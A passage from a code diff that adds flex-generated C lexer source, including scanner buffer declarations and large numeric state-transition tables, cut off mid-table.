YY_CURRENT_BUFFER yy_current_buffer + + +/* yy_hold_char holds the character lost when yytext is formed. */ +static char yy_hold_char; + +static int yy_n_chars; /* number of characters read into yy_ch_buf */ + + +int yyleng; + +/* Points to current character in buffer. */ +static char *yy_c_buf_p = (char *) 0; +static int yy_init = 1; /* whether we need to initialize */ +static int yy_start = 0; /* start state number */ + +/* Flag which is used to allow yywrap()'s to do buffer switches + * instead of setting up a fresh yyin. A bit of a hack ... + */ +static int yy_did_buffer_switch_on_eof; + +void yyrestart YY_PROTO(( FILE *input_file )); + +void yy_switch_to_buffer YY_PROTO(( YY_BUFFER_STATE new_buffer )); +void yy_load_buffer_state YY_PROTO(( void )); +YY_BUFFER_STATE yy_create_buffer YY_PROTO(( FILE *file, int size )); +void yy_delete_buffer YY_PROTO(( YY_BUFFER_STATE b )); +void yy_init_buffer YY_PROTO(( YY_BUFFER_STATE b, FILE *file )); +void yy_flush_buffer YY_PROTO(( YY_BUFFER_STATE b )); +#define YY_FLUSH_BUFFER yy_flush_buffer( yy_current_buffer ) + +YY_BUFFER_STATE yy_scan_buffer YY_PROTO(( char *base, yy_size_t size )); +YY_BUFFER_STATE yy_scan_string YY_PROTO(( yyconst char *yy_str )); +YY_BUFFER_STATE yy_scan_bytes YY_PROTO(( yyconst char *bytes, int len )); + +static void *yy_flex_alloc YY_PROTO(( yy_size_t )); +static void *yy_flex_realloc YY_PROTO(( void *, yy_size_t )); +static void yy_flex_free YY_PROTO(( void * )); + +#define yy_new_buffer yy_create_buffer + +#define yy_set_interactive(is_interactive) \ + { \ + if ( ! yy_current_buffer ) \ + yy_current_buffer = yy_create_buffer( yyin, YY_BUF_SIZE ); \ + yy_current_buffer->yy_is_interactive = is_interactive; \ + } + +#define yy_set_bol(at_bol) \ + { \ + if ( ! yy_current_buffer ) \ + yy_current_buffer = yy_create_buffer( yyin, YY_BUF_SIZE ); \ + yy_current_buffer->yy_at_bol = at_bol; \ + } + +#define YY_AT_BOL() (yy_current_buffer->yy_at_bol) + +typedef unsigned char YY_CHAR; +FILE *yyin = (FILE *) 0, *yyout = (FILE *) 0; +typedef int yy_state_type; +extern char *yytext; +#define yytext_ptr yytext + +static yy_state_type yy_get_previous_state YY_PROTO(( void )); +static yy_state_type yy_try_NUL_trans YY_PROTO(( yy_state_type current_state )); +static int yy_get_next_buffer YY_PROTO(( void )); +static void yy_fatal_error YY_PROTO(( yyconst char msg[] )); + +/* Done after the current pattern has been matched and before the + * corresponding action - sets up yytext. + */ +#define YY_DO_BEFORE_ACTION \ + yytext_ptr = yy_bp; \ + yyleng = (int) (yy_cp - yy_bp); \ + yy_hold_char = *yy_cp; \ + *yy_cp = '\0'; \ + yy_c_buf_p = yy_cp; + +#define YY_NUM_RULES 111 +#define YY_END_OF_BUFFER 112 +static yyconst short int yy_accept[1247] = + { 0, + 0, 0, 112, 109, 69, 69, 70, 109, 70, 70, + 70, 110, 78, 78, 70, 70, 70, 70, 107, 107, + 109, 107, 107, 107, 107, 107, 107, 107, 107, 107, + 107, 107, 107, 107, 107, 107, 107, 107, 107, 107, + 107, 70, 109, 73, 77, 48, 0, 107, 78, 0, + 107, 107, 107, 81, 75, 72, 74, 71, 76, 108, + 108, 107, 18, 107, 107, 107, 107, 107, 107, 107, + 107, 107, 107, 107, 107, 107, 107, 107, 107, 107, + 107, 107, 107, 7, 107, 107, 107, 107, 107, 107, + 107, 107, 107, 107, 107, 107, 49, 107, 107, 107, + + 107, 107, 107, 63, 107, 107, 107, 107, 4, 107, + 107, 107, 107, 107, 107, 49, 77, 79, 79, 78, + 107, 0, 81, 78, 81, 81, 81, 107, 48, 5, + 107, 58, 107, 107, 107, 107, 107, 1, 0, 107, + 19, 107, 107, 107, 107, 107, 107, 107, 107, 107, + 107, 16, 34, 0, 107, 27, 107, 23, 51, 107, + 107, 56, 107, 107, 107, 107, 37, 50, 59, 107, + 14, 107, 3, 107, 107, 24, 107, 107, 2, 33, + 9, 10, 66, 107, 65, 107, 107, 107, 107, 78, + 0, 107, 0, 82, 81, 81, 0, 81, 0, 81, + + 0, 81, 0, 21, 107, 107, 45, 32, 107, 107, + 107, 28, 107, 107, 107, 36, 11, 12, 13, 107, + 107, 107, 30, 55, 107, 43, 38, 107, 107, 107, + 107, 107, 107, 107, 39, 107, 6, 8, 0, 107, + 54, 15, 79, 79, 79, 78, 0, 81, 0, 0, + 81, 0, 81, 82, 81, 0, 0, 0, 0, 81, + 81, 81, 81, 81, 0, 20, 107, 107, 107, 29, + 107, 107, 0, 17, 107, 107, 64, 107, 31, 107, + 57, 26, 25, 107, 107, 60, 107, 40, 107, 107, + 107, 107, 107, 107, 107, 107, 107, 0, 0, 81, + + 81, 81, 0, 0, 82, 81, 81, 82, 81, 0, + 0, 81, 81, 81, 81, 81, 0, 0, 0, 0, + 81, 81, 0, 81, 0, 81, 0, 107, 107, 22, + 107, 107, 107, 107, 107, 107, 107, 107, 107, 107, + 107, 107, 107, 51, 107, 107, 107, 107, 107, 107, + 107, 107, 107, 107, 107, 107, 107, 107, 79, 79, + 79, 0, 81, 81, 0, 81, 0, 0, 81, 0, + 81, 82, 81, 0, 0, 0, 81, 81, 0, 81, + 82, 81, 0, 0, 0, 0, 0, 0, 0, 81, + 81, 81, 81, 81, 0, 107, 107, 42, 44, 107, + + 107, 107, 107, 107, 107, 107, 107, 107, 107, 107, + 107, 52, 107, 107, 35, 61, 62, 107, 107, 105, + 101, 107, 103, 102, 106, 107, 107, 0, 0, 81, + 81, 81, 81, 81, 81, 0, 0, 82, 81, 81, + 81, 0, 0, 81, 81, 81, 81, 81, 0, 0, + 0, 0, 0, 0, 0, 81, 81, 81, 81, 81, + 0, 0, 0, 0, 0, 81, 81, 0, 81, 0, + 81, 0, 107, 107, 107, 107, 107, 107, 107, 107, + 107, 107, 107, 107, 84, 83, 107, 107, 53, 107, + 104, 100, 79, 0, 81, 81, 0, 81, 81, 0, + + 81, 0, 0, 81, 0, 81, 82, 81, 0, 0, + 0, 81, 81, 0, 81, 82, 81, 0, 0, 0, + 0, 0, 81, 81, 0, 81, 82, 81, 0, 81, + 81, 0, 0, 0, 0, 0, 0, 0, 81, 81, + 81, 81, 81, 0, 46, 107, 89, 96, 107, 107, + 107, 107, 107, 107, 107, 107, 107, 47, 107, 0, + 0, 81, 81, 81, 81, 81, 81, 81, 81, 81, + 0, 0, 82, 81, 81, 81, 0, 0, 81, 81, + 81, 81, 81, 0, 0, 0, 0, 0, 0, 0, + 81, 81, 81, 81, 81, 0, 81, 81, 0, 0, + + 0, 0, 0, 0, 0, 81, 81, 81, 81, 81, + 0, 0, 0, 0, 0, 0, 81, 81, 0, 81, + 0, 81, 0, 67, 107, 107, 107, 107, 107, 107, + 107, 107, 107, 107, 107, 41, 0, 81, 81, 0, + 81, 81, 0, 81, 81, 0, 81, 0, 80, 81, + 0, 81, 82, 81, 0, 0, 0, 81, 81, 0, + 81, 82, 81, 0, 0, 0, 0, 0, 81, 81, + 0, 81, 82, 81, 0, 0, 0, 0, 0, 0, + 81, 81, 0, 81, 82, 81, 0, 81, 81, 81, + 0, 0, 0, 0, 0, 0, 0, 81, 81, 81, + + 81, 81, 0, 107, 107, 107, 107, 107, 107, 107, + 107, 94, 107, 68, 0, 0, 81, 81, 81, 81, + 81, 81, 81, 81, 81, 81, 81, 81, 0, 80, + 82, 81, 81, 81, 0, 0, 81, 81, 81, 81, + 81, 0, 0, 0, 0, 0, 0, 0, 81, 81, + 81, 81, 81, 0, 81, 81, 0, 0, 0, 0, + 0, 0, 0, 81, 81, 81, 81, 81, 0, 81, + 81, 81, 0, 0, 0, 0, 0, 0, 0, 81, + 81, 81, 81, 81, 0, 0, 0, 0, 0, 0, + 81, 81, 0, 81, 0, 81, 0, 107, 107, 107, + + 98, 107, 107, 107, 107, 107, 107, 107, 86, 0, + 81, 81, 0, 81, 81, 0, 81, 81, 0, 81, + 81, 0, 81, 0, 0, 0, 81, 0, 0, 81, + 82, 81, 0, 0, 0, 81, 81, 0, 81, 82, + 81, 0, 0, 0, 0, 0, 81, 81, 0, 81, + 82, 81, 0, 0, 0, 0, 0, 0, 81, 81, + 0, 81, 82, 81, 0, 0, 0, 0, 0, 0, + 81, 81, 0, 81, 82, 81, 0, 81, 81, 81, + 0, 0, 0, 0, 0, 0, 0, 81, 81, 81, + 81, 81, 0, 107, 107, 107, 107, 88, 107, 107, + + 107, 92, 107, 0, 0, 81, 81, 81, 81, 81, + 81, 81, 81, 81, 81, 81, 81, 81, 81, 81, + 0, 0, 0, 82, 0, 0, 81, 0, 0, 81, + 81, 81, 0, 0, 0, 0, 0, 0, 0, 81, + 81, 81, 0, 81, 81, 0, 0, 0, 0, 0, + 0, 0, 81, 81, 81, 0, 81, 81, 81, 0, + 0, 0, 0, 0, 0, 0, 81, 81, 81, 0, + 81, 81, 81, 0, 0, 0, 0, 0, 0, 0, + 81, 81, 81, 0, 0, 0, 0, 0, 0, 81, + 81, 0, 81, 0, 81, 0, 85, 97, 99, 93, + + 107, 107, 107, 107, 0, 0, 81, 0, 81, 0, + 81, 81, 0, 81, 81, 0, 81, 81, 0, 81, + 81, 0, 81, 0, 0, 0, 0, 81, 81, 0, + 81, 0, 0, 81, 81, 81, 0, 0, 0, 0, + 81, 81, 81, 0, 0, 0, 0, 0, 81, 81, + 81, 0, 0, 0, 0, 0, 81, 81, 81, 0, + 0, 0, 0, 0, 81, 81, 81, 81, 81, 81, + 0, 0, 0, 0, 0, 0, 0, 81, 81, 81, + 0, 107, 107, 107, 107, 0, 0, 0, 81, 81, + 81, 81, 81, 81, 0, 0, 0, 0, 81, 81, + + 0, 0, 0, 0, 81, 81, 81, 0, 0, 0, + 0, 0, 81, 81, 81, 81, 0, 0, 0, 0, + 0, 81, 81, 81, 81, 0, 0, 0, 0, 0, + 81, 81, 81, 81, 0, 0, 0, 0, 0, 81, + 0, 0, 0, 0, 0, 81, 81, 81, 107, 107, + 107, 95, 81, 81, 81, 81, 81, 81, 81, 81, + 0, 0, 0, 0, 81, 81, 0, 0, 81, 0, + 0, 0, 81, 0, 0, 0, 81, 0, 0, 0, + 81, 0, 0, 0, 81, 81, 81, 81, 0, 0, + 0, 0, 0, 81, 90, 107, 87, 81, 0, 0, + + 81, 81, 0, 81, 81, 81, 0, 81, 81, 81, + 0, 81, 81, 81, 0, 81, 81, 81, 0, 0, + 0, 0, 81, 91, 81, 81, 0, 0, 0, 0, + 0, 0, 81, 81, 81, 0, 0, 81, 81, 81, + 81, 81, 0, 81, 81, 0 + } ; + +static yyconst int yy_ec[256] = + { 0, + 1, 1, 1, 1, 1, 1, 1, 1, 2, 3, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 2, 4, 1, 1, 5, 1, 6, 1, 7, + 7, 8, 8, 1, 9, 10, 8, 11, 12, 12, + 12, 13, 12, 14, 12, 12, 12, 15, 1, 16, + 17, 18, 1, 1, 19, 19, 19, 19, 19, 19, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 21, 20, 20, + 22, 23, 22, 1, 24, 1, 25, 26, 27, 28, + + 29, 30, 31, 32, 33, 20, 34, 35, 36, 37, + 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, + 48, 20, 1, 49, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1 + } ; + +static yyconst int yy_meta[50] = + { 0, + 1, 2, 2, 2, 1, 3, 2, 1, 4, 5, + 6, 6, 6, 6, 7, 3, 3, 3, 6, 4, + 4, 3, 1, 4, 6, 6, 6, 6, 6, 6, + 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, + 4, 4, 4, 4, 4, 4, 4, 4, 3 + } ; + +static yyconst short int yy_base[1527] = + { 0, + 0, 0, 4132, 49, 4717, 4717, 4113, 50, 4112, 4717, + 51, 4717, 66, 41, 114, 44, 4100, 50, 113, 150, + 127, 106, 103, 82, 40, 28, 4079, 111, 4040, 154, + 157, 128, 110, 115, 161, 4052, 160, 114, 4048, 170, + 4028, 4008, 205, 4717, 0, 4717, 0, 203, 219, 4041, + 211, 0, 239, 269, 4717, 4717, 4717, 4717, 4717, 270, + 0, 249, 0, 4027, 4008, 4020, 229, 4006, 3999, 3993, + 3992, 290, 3978, 165, 3988, 295, 3975, 3988, 3974, 3968, + 48, 3956, 3965, 69, 174, 130, 249, 3927, 3931, 3915, + 3913, 3909, 3875, 3866, 3865, 3859, 0, 3846, 3852, 3846, + + 3835, 3830, 3826, 145, 3833, 3826, 3808, 3807, 0, 3806, + 3799, 3801, 3792, 3783, 3769, 4717, 4717, 300, 124, 337, + 314, 3778, 357, 3782, 378, 137, 3775, 3749, 0, 0, + 3752, 319, 3761, 3726, 3715, 3697, 324, 0, 3700, 3690, + 0, 3669, 367, 3652, 3643, 3624, 3627, 3619, 3618, 3622, + 3605, 0, 0, 3594, 3562, 0, 3574, 0, 3571, 3552, + 3548, 0, 3547, 3554, 105, 3525, 3518, 0, 3513, 3516, + 0, 3486, 0, 3480, 3483, 0, 3482, 3463, 0, 0, + 225, 0, 0, 3464, 0, 3461, 3433, 328, 415, 399, + 3454, 3453, 3451, 3449, 436, 268, 3448, 3447, 332, 474, + + 346, 405, 0, 0, 3420, 3425, 0, 0, 3423, 3421, + 3407, 0, 3391, 3384, 3385, 0, 463, 0, 0, 3399, + 3381, 3382, 0, 0, 3372, 0, 0, 3387, 3377, 3367, + 3360, 3363, 3377, 3350, 0, 3349, 0, 0, 429, 3351, + 0, 0, 484, 354, 3368, 410, 3362, 419, 3361, 3359, + 521, 424, 542, 562, 468, 0, 3341, 497, 502, 583, + 509, 604, 470, 3340, 3344, 0, 3325, 3323, 3305, 0, + 3314, 3309, 623, 0, 3298, 3270, 0, 3280, 0, 3284, + 3276, 0, 0, 3285, 3267, 410, 3266, 3264, 3263, 3256, + 3238, 3218, 3211, 3217, 3227, 513, 657, 3224, 3220, 678, + + 516, 3218, 3208, 3203, 3202, 716, 517, 3182, 3181, 625, + 572, 754, 593, 775, 518, 3179, 3183, 3177, 629, 0, + 699, 3165, 636, 813, 666, 705, 0, 3143, 3124, 0, + 3098, 3104, 3117, 3066, 3081, 3080, 189, 3030, 193, 3030, + 3038, 3008, 3013, 0, 3003, 3014, 2993, 2993, 2992, 2981, + 2978, 2954, 2950, 2944, 2941, 2945, 2950, 2949, 797, 709, + 2957, 2946, 736, 2945, 740, 2944, 2931, 2925, 834, 744, + 855, 875, 764, 0, 748, 0, 802, 2924, 822, 896, + 916, 844, 0, 926, 865, 2908, 885, 938, 906, 976, + 943, 997, 579, 2902, 2888, 2855, 2860, 0, 0, 2845, + + 2847, 2833, 2826, 2838, 2821, 2801, 2808, 2800, 2800, 2810, + 2809, 0, 2800, 2776, 0, 0, 0, 2789, 2791, 0, + 0, 2764, 0, 0, 0, 2753, 1034, 2779, 2777, 1055, + 580, 2776, 1093, 607, 2770, 2769, 2766, 2765, 1131, 634, + 2764, 950, 955, 1169, 964, 1190, 653, 2744, 2748, 1028, + 969, 2747, 1018, 1077, 1023, 1228, 1044, 1249, 654, 2740, + 2743, 1081, 0, 1114, 0, 1119, 2737, 1124, 1287, 1151, + 1156, 0, 2693, 2693, 2694, 2691, 2682, 2689, 2652, 2630, + 2631, 2624, 2644, 2637, 0, 0, 2636, 2603, 0, 2612, + 0, 0, 0, 2629, 1160, 1308, 1178, 1211, 1329, 1215, + + 1220, 2621, 2620, 1349, 1237, 1370, 1390, 1270, 0, 1274, + 0, 1279, 2619, 1296, 1411, 1431, 1318, 0, 1338, 0, + 1358, 0, 1452, 2599, 1379, 1458, 1478, 1400, 0, 1488, + 1420, 2603, 1500, 1441, 2602, 1468, 1505, 1517, 1543, 1526, + 1564, 677, 2595, 2598, 0, 2576, 2565, 2546, 2545, 2549, + 2536, 2547, 2528, 2527, 2517, 2526, 2522, 0, 2511, 2532, + 2513, 1602, 750, 2512, 1640, 751, 2511, 1678, 772, 2482, + 2478, 2475, 2474, 1716, 774, 2464, 1586, 1531, 1754, 1553, + 1775, 911, 2462, 2449, 1624, 1591, 2448, 1629, 1662, 1667, + 1813, 1700, 1834, 949, 2440, 2443, 1854, 1511, 2441, 1859, + + 1705, 2431, 1710, 1872, 1737, 1910, 1742, 1931, 951, 2424, + 2411, 0, 1537, 0, 1746, 0, 1796, 2405, 1763, 1969, + 1801, 1806, 0, 0, 2388, 2386, 2385, 2374, 2374, 2360, + 2354, 2350, 2338, 2349, 2332, 0, 2350, 1822, 1990, 1865, + 1877, 2011, 1883, 1897, 2032, 1891, 1902, 2330, 2329, 2052, + 1919, 2073, 2093, 1952, 0, 1956, 0, 1961, 2328, 1978, + 2114, 2134, 2000, 0, 2020, 0, 2041, 0, 2155, 2326, + 2061, 2161, 2181, 2083, 0, 0, 2102, 0, 2123, 0, + 2202, 2324, 2143, 2208, 2228, 2171, 0, 0, 2238, 2190, + 2328, 2250, 2218, 2308, 2255, 2262, 2267, 2300, 2276, 2321, + + 972, 2301, 2298, 248, 519, 975, 451, 636, 2275, 1077, + 1087, 521, 1586, 649, 2292, 2291, 2359, 973, 2283, 2397, + 996, 2281, 2435, 1030, 2267, 2473, 1031, 2255, 2233, 2231, + 2510, 2531, 1050, 2230, 2343, 2281, 2569, 2291, 2590, 1052, + 2229, 2216, 2381, 2310, 2215, 2348, 2419, 2386, 2628, 2424, + 2649, 1092, 2209, 2195, 2457, 2461, 2189, 2670, 2495, 2188, + 2500, 2676, 2505, 2714, 2520, 2735, 1128, 2182, 2169, 0, + 2687, 2551, 2168, 2756, 2556, 2167, 2561, 2762, 2579, 2800, + 2611, 2821, 1130, 2143, 2142, 0, 2615, 0, 2619, 0, + 2692, 2135, 2637, 2859, 2681, 2699, 0, 2328, 2762, 2769, + + 782, 2443, 828, 1184, 2713, 1302, 1243, 1769, 783, 2123, + 2707, 2880, 2776, 2788, 2901, 2794, 2810, 2922, 2841, 2846, + 2943, 2850, 2869, 2116, 2964, 1166, 2115, 2096, 2889, 3002, + 2095, 2911, 0, 2931, 0, 2985, 2094, 2952, 3023, 2075, + 2991, 0, 2995, 0, 3011, 0, 3044, 2074, 3032, 3050, + 2055, 3060, 0, 0, 3070, 0, 3074, 0, 3079, 2054, + 3084, 3089, 2053, 3099, 0, 0, 3109, 0, 3113, 0, + 3118, 2041, 3123, 3128, 2034, 3138, 0, 0, 3148, 3152, + 2038, 3160, 3165, 2019, 3172, 3177, 3189, 3215, 3198, 3236, + 1189, 2013, 2017, 1600, 1638, 2357, 1676, 1091, 1537, 3196, + + 1828, 1364, 3197, 1992, 3273, 3294, 1225, 1991, 3332, 1248, + 1972, 3370, 1427, 1971, 3408, 1428, 1970, 3446, 1473, 1962, + 1940, 3202, 3484, 1939, 3257, 0, 1938, 3316, 3262, 3505, + 3267, 1936, 1938, 3354, 3283, 1937, 3321, 3392, 3359, 3526, + 3397, 1913, 1917, 3430, 3434, 1916, 3536, 3468, 1908, 3473, + 3548, 3478, 3586, 3494, 1902, 1890, 0, 3559, 3514, 1889, + 3607, 3553, 1888, 3564, 3612, 3574, 3650, 3579, 1877, 1864, + 0, 3623, 3596, 1848, 3635, 3628, 1846, 3673, 3678, 3683, + 3716, 3690, 1839, 1841, 0, 3618, 0, 3639, 0, 3695, + 1835, 3660, 3737, 0, 3701, 0, 1925, 1984, 2026, 2067, + + 2467, 3316, 3195, 3744, 3770, 1512, 0, 1816, 3808, 0, + 3706, 3829, 0, 3726, 3850, 0, 3747, 3871, 0, 3759, + 3892, 0, 3764, 3902, 3791, 3940, 3796, 1815, 1814, 1811, + 1784, 3710, 0, 3801, 1782, 1780, 3817, 0, 3838, 0, + 3914, 1777, 1776, 0, 3859, 0, 3880, 0, 3920, 1757, + 1756, 0, 3925, 0, 3929, 0, 3961, 1755, 1747, 0, + 3933, 0, 3949, 0, 3967, 1746, 1725, 0, 3972, 3976, + 1729, 3984, 3989, 1728, 3996, 4001, 4013, 4039, 4022, 0, + 1726, 3213, 3229, 4019, 2395, 4060, 1719, 4027, 0, 0, + 0, 0, 0, 0, 4048, 0, 4081, 1718, 1717, 0, + + 4087, 4070, 1691, 4092, 0, 4098, 4102, 1688, 4110, 4115, + 1686, 4125, 0, 0, 4129, 4135, 1685, 4141, 4153, 1684, + 4158, 0, 0, 4166, 4147, 1674, 4171, 4183, 1672, 4188, + 0, 0, 4193, 4197, 1654, 4209, 4214, 1653, 4221, 0, + 0, 4225, 0, 4230, 0, 4235, 1645, 0, 2108, 3407, + 2706, 2358, 0, 4717, 0, 0, 0, 0, 0, 0, + 4241, 4247, 1648, 4253, 0, 4717, 4257, 0, 4717, 0, + 4261, 0, 4717, 0, 4265, 0, 4717, 0, 4269, 0, + 4717, 0, 4273, 0, 4717, 0, 4278, 4282, 1647, 4290, + 4295, 1646, 4302, 0, 2433, 2895, 2471, 0, 4306, 0, + + 4310, 4315, 1636, 0, 4321, 4327, 1634, 0, 4332, 4336, + 1616, 0, 4348, 4352, 1615, 0, 4359, 4363, 1612, 0, + 4370, 0, 4717, 2643, 4375, 4379, 1610, 0, 0, 0, + 0, 0, 0, 4386, 4390, 1609, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 4717, 4433, 4440, 1602, 4442, + 4444, 4446, 4448, 4450, 4452, 4454, 4456, 1600, 1582, 4458, + 1581, 4460, 4462, 1580, 4464, 4466, 4468, 4470, 4472, 4474, + 4476, 4478, 1578, 1575, 1574, 4480, 1554, 1528, 4482, 4484, + 1526, 1492, 1490, 4486, 4488, 4490, 4492, 4494, 4496, 4498, + 4500, 4502, 1489, 1470, 1441, 1429, 4504, 1423, 1422, 1421, + + 4506, 4508, 1402, 1401, 1400, 1388, 1381, 1380, 4510, 4512, + 4514, 4516, 4518, 4520, 4522, 4524, 4526, 4528, 4530, 4532, + 1361, 1360, 1359, 1347, 1341, 4534, 1339, 1319, 1318, 1299, + 4536, 4538, 1298, 1297, 1267, 1260, 1259, 1239, 1238, 1229, + 1208, 1201, 1200, 4541, 4543, 4544, 4547, 4550, 4551, 4553, + 4555, 4557, 4559, 4561, 4563, 4565, 4567, 4570, 4572, 4573, + 4576, 4578, 4580, 4581, 4584, 1180, 4586, 4588, 4589, 4592, + 1179, 1170, 1149, 1148, 1147, 4595, 4596, 1142, 1141, 1104, + 1103, 1073, 4598, 4600, 4602, 4604, 1066, 1044, 4606, 1015, + 1007, 994, 4608, 986, 928, 927, 908, 4610, 907, 906, + + 887, 886, 4612, 885, 867, 4615, 4617, 4618, 4621, 4624, + 4625, 4627, 4629, 4631, 4633, 4635, 4637, 866, 4639, 4641, + 4644, 4646, 4647, 4650, 4652, 4654, 4655, 4658, 845, 4660, + 4662, 4663, 4666, 844, 4668, 4670, 4671, 4674, 825, 824, + 823, 814, 793, 4677, 764, 4678, 734, 733, 732, 730, + 47, 4680, 4682, 4685, 4686, 57, 4688, 112, 115, 4690, + 148, 162, 202, 4692, 213, 230, 231, 4694, 248, 267, + 270, 4696, 273, 4699, 4701, 310, 4703, 4706, 4707, 312, + 313, 314, 316, 347, 348, 349, 4709, 367, 368, 388, + 389, 390, 392, 396, 447, 450, 452, 461, 463, 468, + + 470, 523, 535, 536, 553, 554, 560, 572, 573, 574, + 593, 614, 615, 616, 618, 638, 647, 651, 655, 688, + 689, 690, 696, 726, 727, 728 + } ; + +static yyconst short int yy_def[1527] = + { 0, + 1246, 1, 1246, 1246, 1246, 1246, 1246, 1247, 1246, 1246, + 1246, 1246, 1246, 13, 1246, 1246, 1246, 1246, 13, 19, + 1248, 19, 19, 19, 19, 19, 19, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 1246, 1246, 1246, 1249, 1246, 20, 20, 19, 1250, + 49, 20, 20, 1246, 1246, 1246, 1246, 1246, 1246, 1248, + 1248, 49, 20, 20, 20, 20, 49, 20, 20, 20, + 20, 49, 20, 20, 20, 49, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 1246, 1246, 20, 118, 49, + 120, 1251, 1246, 53, 1246, 125, 1252, 20, 20, 20, + 20, 120, 20, 20, 20, 20, 120, 20, 20, 20, + 20, 20, 120, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 1253, 20, 1254, 1255, 1246, 195, 1256, 1257, 1246, 1246, + + 1258, 200, 1259, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 243, 189, 20, 1260, 1261, 1262, 1263, + 1246, 1246, 1246, 1246, 253, 1264, 1265, 1246, 1246, 1246, + 260, 1246, 262, 1266, 1259, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 1254, 1267, 1246, + + 300, 1268, 1246, 1269, 1270, 1246, 306, 1256, 1271, 1246, + 1246, 1246, 312, 1246, 314, 1272, 1264, 1246, 1246, 1273, + 1246, 1246, 1246, 1246, 1274, 324, 1275, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 297, 1276, 1277, 253, 1278, 255, 1279, 1280, 1246, 1246, + 1246, 1246, 371, 1281, 1246, 1282, 1246, 1246, 1246, 1246, + 1246, 380, 1283, 1246, 1246, 1273, 1246, 1246, 1246, 1246, + 390, 1246, 392, 1284, 1275, 20, 20, 20, 20, 20, + + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 1269, 1285, 1246, + 430, 1286, 1246, 433, 1287, 1246, 1288, 1289, 1246, 439, + 1290, 1246, 1246, 1246, 444, 1246, 446, 1291, 1281, 1246, + 1246, 1282, 1246, 1246, 1246, 1246, 456, 1246, 458, 1292, + 1283, 1246, 1293, 1246, 1294, 1246, 1246, 1246, 1246, 1295, + 469, 1296, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 427, 1297, 1298, 1246, 1299, 496, 1246, 1300, + + 499, 1301, 1302, 1246, 1246, 1246, 1246, 506, 1303, 1246, + 1304, 1246, 1246, 1246, 1246, 1246, 515, 1305, 1246, 1306, + 1246, 1307, 1246, 1246, 1246, 1246, 1246, 526, 1308, 1246, + 1246, 1293, 1246, 1246, 1294, 1246, 1246, 1246, 1246, 539, + 1246, 541, 1309, 1296, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 20, 20, 20, 1310, + 1311, 1246, 562, 1312, 1246, 565, 1313, 1246, 568, 1314, + 1246, 1315, 1316, 1246, 574, 1317, 1246, 1246, 1246, 579, + 1246, 581, 1318, 1303, 1246, 1246, 1304, 1246, 1246, 1246, + 1246, 591, 1246, 593, 1319, 1305, 1246, 1246, 1306, 1246, + + 1246, 1307, 1246, 1246, 1246, 1246, 606, 1246, 608, 1320, + 1308, 1321, 1246, 1322, 1246, 1323, 1246, 1246, 1246, 1246, + 1324, 620, 1325, 20, 20, 20, 20, 20, 20, 20, + 20, 20, 20, 20, 20, 20, 1326, 1327, 1246, 1328, + 639, 1246, 1329, 642, 1246, 1330, 645, 1331, 1332, 1246, + 1246, 1246, 1246, 652, 1333, 1246, 1334, 1246, 1246, 1246, + 1246, 1246, 661, 1335, 1246, 1336, 1246, 1337, 1246, 1246, + 1246, 1246, 1246, 672, 1338, 1339, 1246, 1340, 1246, 1341, + 1246, 1246, 1246, 1246, 1246, 684, 1342, 1343, 1246, 1246, + 1344, 1246, 1246, 1345, 1246, 1246, 1246, 1246, 698, 1246, + + 700, 1346, 1347, 1348, 1348, 1348, 1348, 1348, 1348, 1348, + 1348, 1348, 1348, 1348, 1349, 1350, 1246, 717, 1351, 1246, + 720, 1352, 1246, 723, 1353, 1246, 726, 1354, 1246, 1355, + 1246, 1246, 732, 1356, 1246, 1246, 1246, 737, 1246, 739, + 1357, 1358, 1246, 1246, 1359, 1246, 1246, 1246, 1246, 749, + 1246, 751, 1360, 1361, 1246, 1246, 1362, 1246, 1246, 1363, + 1246, 1246, 1246, 1246, 764, 1246, 766, 1364, 1365, 1366, + 1246, 1246, 1367, 1246, 1246, 1368, 1246, 1246, 1246, 1246, + 780, 1246, 782, 1369, 1370, 1371, 